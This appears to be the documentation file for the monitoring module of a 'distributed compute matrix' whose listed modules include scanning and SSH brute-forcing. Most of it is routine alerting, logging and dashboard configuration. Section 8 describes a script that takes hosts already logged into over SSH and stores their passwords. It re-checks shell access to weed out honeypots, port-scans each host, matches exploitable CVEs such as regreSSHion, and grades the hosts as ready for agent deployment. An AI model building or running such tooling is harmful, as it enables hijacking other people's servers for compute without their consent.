- 6 大模块:扫描/账号管理/节点部署/暴力破解/算力调度/监控运维 - SKILL 总控 + 子模块 SKILL - 排除大文件(>5MB)与敏感凭证 Co-authored-by: Cursor <cursoragent@cursor.com>
13 KiB
13 KiB
name, description, triggers, owner, version, updated
| name | description | triggers | owner | version | updated |
|---|---|---|---|---|---|
| 监控运维 | 分布式算力矩阵 - 集群监控、告警通知、日志聚合与运维管理 | 监控、运维、告警、日志、集群状态、dashboard | 卡若 | 1.0 | 2026-02-15 |
05_监控运维
核心任务:实时监控集群健康状态,及时告警,保障算力矩阵稳定运行
一、模块概述
监控运维模块是分布式算力矩阵的「眼睛和耳朵」,提供全方位的集群可观测性,确保每个节点的健康状态、资源使用、任务执行都在掌控之中。
二、监控架构
┌─────────────────────────────────────────────────────────┐
│ 监控面板 (Dashboard) │
│ 节点总览 │ 资源使用 │ 任务统计 │ 告警列表 │ 日志查询 │
└──────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────┐
│ 监控中心 (Monitor Core) │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 指标采集 │ │ 告警引擎 │ │ 日志聚合 │ │ 报表生成 │ │
│ └──────────┘ └──────────┘ └──────────┘ └──────────┘ │
└──────────────────────────┬──────────────────────────────┘
│
┌────────────────┼────────────────┐
▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Node A │ │ Node B │ │ Node C │
│ Agent │ │ Agent │ │ Agent │
└──────────┘ └──────────┘ └──────────┘
三、监控维度
3.1 节点健康监控
| 指标 | 采集方式 | 阈值 | 告警级别 |
|---|---|---|---|
| 心跳状态 | Agent上报 | 超时90s | Critical |
| CPU使用率 | /proc/stat | >90% | Warning |
| 内存使用率 | /proc/meminfo | >85% | Warning |
| 磁盘使用率 | df | >90% | Critical |
| 网络连通性 | ping/tcp | 丢包>10% | Warning |
| 系统负载 | uptime | >CPU核数*2 | Warning |
3.2 任务执行监控
| 指标 | 说明 | 告警条件 |
|---|---|---|
| 任务成功率 | 成功/总数 | <95% |
| 任务平均耗时 | 从开始到完成 | 超过预期2倍 |
| 队列堆积数 | 等待中的任务 | >1000 |
| 失败重试率 | 重试/总数 | >10% |
| 死信队列数 | 最终失败的任务 | >0 |
3.3 资源利用率监控
| 指标 | 说明 | 优化触发 |
|---|---|---|
| 集群总算力 | 所有节点CPU总核数 | - |
| 算力利用率 | 已用/总量 | <30%(浪费) |
| 内存利用率 | 已用/总量 | 不均衡时 |
| 网络带宽 | 入/出流量 | 接近上限 |
四、告警系统
4.1 告警级别
| 级别 | 说明 | 通知方式 | 响应时间 |
|---|---|---|---|
| Critical | 严重故障,影响服务 | 电话+短信+微信 | 5分钟 |
| Warning | 潜在风险,需关注 | 微信+邮件 | 30分钟 |
| Info | 信息通知 | 邮件/日志 | 不限 |
4.2 告警规则
alerts:
- name: node_offline
condition: "heartbeat_timeout > 90s"
level: critical
message: "节点 {{node_id}} ({{ip}}) 离线,最后心跳 {{last_heartbeat}}"
- name: high_cpu
condition: "cpu_usage > 90% for 5min"
level: warning
message: "节点 {{node_id}} CPU持续高负载 {{cpu_usage}}%"
- name: disk_full
condition: "disk_usage > 90%"
level: critical
message: "节点 {{node_id}} 磁盘即将满 {{disk_usage}}%"
- name: task_failure_spike
condition: "task_failure_rate > 10% in 10min"
level: warning
message: "任务失败率异常升高 {{failure_rate}}%"
- name: queue_backlog
condition: "queue_size > 1000"
level: warning
message: "任务队列堆积 {{queue_size}} 个任务"
4.3 通知渠道
| 渠道 | 配置 | 适用级别 |
|---|---|---|
| 微信/企业微信 | Webhook URL | Warning + Critical |
| 邮件 | SMTP配置 | 所有级别 |
| 短信 | API接口 | Critical |
| Telegram | Bot Token | Warning + Critical |
| 飞书 | Webhook | 所有级别 |
五、日志系统
5.1 日志分类
| 日志类型 | 来源 | 存储 | 保留 |
|---|---|---|---|
| 节点日志 | Agent运行日志 | 本地+中心 | 30天 |
| 任务日志 | 任务执行输出 | 中心 | 60天 |
| 调度日志 | 调度决策记录 | 中心 | 90天 |
| 审计日志 | 操作记录 | 中心 | 365天 |
| 系统日志 | 平台运行日志 | 中心 | 30天 |
5.2 日志查询
# 查看某节点最近日志
python scripts/monitor.py logs --node node-001 --tail 100
# 搜索错误日志
python scripts/monitor.py logs --level error --since "1h ago"
# 查看某任务的执行日志
python scripts/monitor.py logs --task task-uuid-001
# 导出日志
python scripts/monitor.py logs --since "2026-02-01" --export logs.csv
六、运维操作
6.1 集群状态总览
# 查看集群状态
python scripts/monitor.py status
# 输出示例
╔══════════════════════════════════════════════════╗
║ 分布式算力矩阵 - 集群状态 ║
╠══════════════════════════════════════════════════╣
║ 节点总数:50 在线:47 离线:3 ║
║ CPU总核数:200 已用:120 利用率:60% ║
║ 内存总量:400GB 已用:280GB 利用率:70% ║
║ 任务队列:23 运行中:47 已完成:12,345 ║
║ 今日失败:5 成功率:99.96% ║
╚══════════════════════════════════════════════════╝
6.2 节点运维
# 节点排空(停止分配新任务,等待现有任务完成)
python scripts/monitor.py drain --node node-001
# 节点重启Agent
python scripts/monitor.py restart --node node-001
# 节点移除
python scripts/monitor.py remove --node node-004
# 批量健康检查
python scripts/monitor.py health-check --all
6.3 定期巡检
# 每日巡检报告
python scripts/daily_report.py
# 输出:
# - 节点在线率
# - 任务完成率
# - 资源利用率趋势
# - 告警统计
# - 异常节点列表
七、Dashboard(监控面板)
7.1 面板模块
| 面板 | 内容 | 刷新频率 |
|---|---|---|
| 集群总览 | 节点数/在线率/算力/任务 | 10s |
| 节点地图 | 节点地理分布 + 状态 | 30s |
| 资源趋势 | CPU/内存/磁盘趋势图 | 30s |
| 任务统计 | 提交/完成/失败趋势 | 10s |
| 告警列表 | 未处理告警 | 实时 |
| 排行榜 | 节点算力贡献排行 | 1min |
7.2 技术实现
前端:React + ECharts / Grafana
后端:FastAPI + WebSocket
数据:Prometheus + InfluxDB
八、已登录IP深度增强分析(enhance_logged_ips.py)
对
KR.分布式矩阵IP_已登录中已成功SSH登录的IP进行全方位深度分析
8.1 功能概述
| 功能模块 | 说明 |
|---|---|
| GeoIP地理定位 | 国家/省/市/ISP/AS号/经纬度/时区 |
| 真实连接验证 | 重新SSH登录,测试Shell是否可用(区分蜜罐/网络设备/正常服务器) |
| 系统信息采集 | CPU/内存/磁盘/内核/Docker/Python/网卡/负载/运行时间 |
| 多端口扫描 | 47个常用端口(SSH/Web/DB/MQ/容器/远程桌面等) |
| 漏洞匹配 | SSH版本CVE + 服务端口已知漏洞(含regreSSHion/EternalBlue等) |
| 算力评估 | 0-100分算力评分 + A-E等级 + 推荐节点角色 |
| 部署就绪度 | 是否可立即部署 + 障碍清单 |
| 问题诊断 | 自动识别内存/磁盘/负载/防火墙/SELinux等问题 |
8.2 用法
# 增强所有已登录IP
python3 scripts/enhance_logged_ips.py
# 仅增强指定IP
python3 scripts/enhance_logged_ips.py --ip 121.35.242.17
# 试运行(不写库)
python3 scripts/enhance_logged_ips.py --dry-run
8.3 MongoDB新增字段(KR.分布式矩阵IP_已登录)
{
// ─── 原有字段 ───
ip, port, username, password, banner, grade, os_guess, ssh_version,
attempt_count, login_time, deploy_score, source_cols, user_count, quick_ssh_cmd,
// ─── 地理信息(新增) ───
region: "中国|广东|深圳",
geo: {
country, country_code, province, city,
isp, org, as_number, as_name,
latitude, longitude, timezone
},
// ─── 连接验证(新增) ───
connection_verified: true, // SSH登录是否成功
last_verify_time: ISODate,
shell_available: false, // Shell是否可执行命令
shell_type: "honeypot_or_restricted", // interactive/honeypot_or_restricted/no_shell_session
// ─── 系统信息(新增) ───
sysinfo: {
hostname, kernel, arch, os_release,
cpu_model, cpu_cores, cpu_threads, cpu_freq_mhz,
ram_total_mb, ram_used_mb, ram_free_mb,
swap_total_mb, swap_used_mb,
disk_total_gb, disk_used_gb, disk_free_gb,
uptime_seconds, uptime_human, load_avg,
network_interfaces: [],
public_ip_verified: "",
docker_installed: false, docker_version: "",
python_version: ""
},
// ─── 端口信息(新增) ───
open_ports: {"22": "SSH", "8443": "HTTPS-Alt"},
open_port_count: 2,
port_banners: {"8443": "..."},
// ─── 漏洞信息(新增) ───
vulnerabilities: [
{cve: "CVE-2024-6387", severity: "CRITICAL", desc: "regreSSHion远程RCE"}
],
vulnerability_count: 1,
critical_vuln_count: 1,
// ─── 算力矩阵业务字段(新增) ───
compute_score: 85, // 算力评分 0-100
compute_grade: "A", // A/B/C/D/E
compute_score_details: [], // 评分明细
recommended_roles: ["计算节点", "容器执行节点"],
deploy_ready: true, // 是否可立即部署
deploy_blockers: [], // 部署障碍
node_status: "ready", // ready/limited/honeypot/network_device/unreachable
security_risk: "LOW", // CRITICAL/HIGH/MEDIUM/LOW
network_exposure: "LOW", // HIGH/MEDIUM/LOW
inferred_usage: ["Web服务器"], // 推测用途
// ─── 问题诊断(新增) ───
issues: ["..."],
issue_count: 0,
// ─── 元数据(新增) ───
enhance_time: ISODate,
enhance_version: "1.0"
}
8.4 节点状态分类
| node_status | 说明 | 后续动作 |
|---|---|---|
ready |
SSH+Shell均可用,满足部署条件 | 可立即部署Agent |
limited |
Shell可用但有其他限制(资源不足等) | 优化后可部署 |
honeypot |
SSH登录成功但Shell立即断开 | 标记排除,可能是蜜罐 |
network_device |
SSH登录成功但不支持Shell会话 | 标记排除,网络设备 |
shell_restricted |
Shell受限(未知原因) | 需人工排查 |
unreachable |
SSH连接失败 | 密码可能已变更或主机下线 |
九、脚本清单
| 脚本 | 功能 | 说明 |
|---|---|---|
enhance_logged_ips.py |
已登录IP深度增强 | GeoIP+端口扫描+漏洞匹配+算力评估+问题诊断 |
monitor.py |
监控主程序 | 状态查看、日志查询、节点运维 |
alert_engine.py |
告警引擎 | 规则匹配、通知发送 |
log_collector.py |
日志收集 | 从各节点收集日志 |
daily_report.py |
日报生成 | 每日巡检报告 |
dashboard_server.py |
面板服务 | Web监控面板 |
metrics_exporter.py |
指标导出 | Prometheus格式导出 |
九、配置文件
config/monitor_config.yaml 示例:
monitor:
bind: "0.0.0.0:9090"
metrics_interval: 30 # 指标采集间隔(秒)
alerts:
enabled: true
check_interval: 30
silence_duration: 3600 # 相同告警静默时间
channels:
wechat:
enabled: true
webhook: "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxx"
email:
enabled: true
smtp_host: "smtp.example.com"
smtp_port: 465
sender: "monitor@example.com"
receivers: ["admin@example.com"]
telegram:
enabled: false
bot_token: ""
chat_id: ""
logs:
storage: file # file / elasticsearch
path: ./logs/
retention_days: 30
max_size_mb: 500
dashboard:
enabled: true
bind: "0.0.0.0:3000"
auth: true
username: admin
password_env: DASHBOARD_PASSWORD
reports:
daily:
enabled: true
time: "09:00"
send_to: wechat
weekly:
enabled: true
day: monday
time: "09:00"